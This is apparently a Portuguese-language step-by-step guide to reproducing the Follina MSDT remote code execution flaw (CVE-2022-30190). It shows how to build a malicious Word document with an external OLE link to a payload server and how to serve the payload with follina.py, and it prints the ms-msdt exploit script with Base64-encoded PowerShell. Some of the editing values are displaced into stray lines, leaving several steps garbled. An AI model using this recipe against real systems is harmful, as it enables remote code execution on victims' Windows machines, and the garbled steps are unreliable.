
Guia passo a passo de reprodução para a vulnerabilidade de execução remota de código CVE-2022-30190 (Follina) MSDT, incluindo criação de documento malicioso e configuração de servidor C2.
aka Follina
O Follina existe na Ferramenta de Diagnóstico de Suporte da Microsoft (MSDT). Quando um aplicativo chama o MSDT para suporte por meio de um protocolo de URL, surge uma vulnerabilidade de execução remota de código. Uma exploração bem-sucedida permite que um invasor execute código arbitrário com base nas permissões do aplicativo em execução.
* Host OS: Ubuntu 22.04 LTS
* Guest OS: Windows 10 Pro x64, versão 2004, build 19041.1237
* Microsoft Office: Word 2016
Passo 1: Crie um documento Word (.docx) e insira um objeto OLE (ex.: Bitmap Image) no texto.
Passo 2: Descompacte o arquivo .docx e edite o arquivo word/_rels/document.xml.rels dentro da pasta. Altere o destacado em amarelo na imagem abaixo para:
e adicione o atributo .
Passo 3: Edite o arquivo dentro da pasta. Altere o destacado em amarelo na imagem abaixo para e adicione o atributo .
Passo 4: Use o 7-zip para abrir o arquivo .docx (não descompactar) e substitua os dois arquivos mencionados dentro do .docx. Conclua a criação do documento malicioso.
Target="embeddings/oleObject1.bin"Target = "http://<payload_server>/<random_name>.html!"TargetMode = "External"
word/document.xmlType="Embed"Type="Link"UpdateMode="OnCall"
Baixe o Follina.py publicado por John Hammond. Aqui, usaremos um comando básico para abrir a calculadora como exemplo:
python3 follina.py -c calc.exe -i eth0
No arquivo Follina.py, linhas 117-125, ocorre a criação do payload malicioso (.html). O conteúdo é mostrado abaixo: <script>location.href... é o script que executa a calculadora na máquina vítima. Todo o documento também é preenchido com uma grande quantidade de caracteres aleatórios para atingir um tamanho mínimo de 4096 bytes. O motivo pode ser consultado em “Follina” MSDT Attack
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script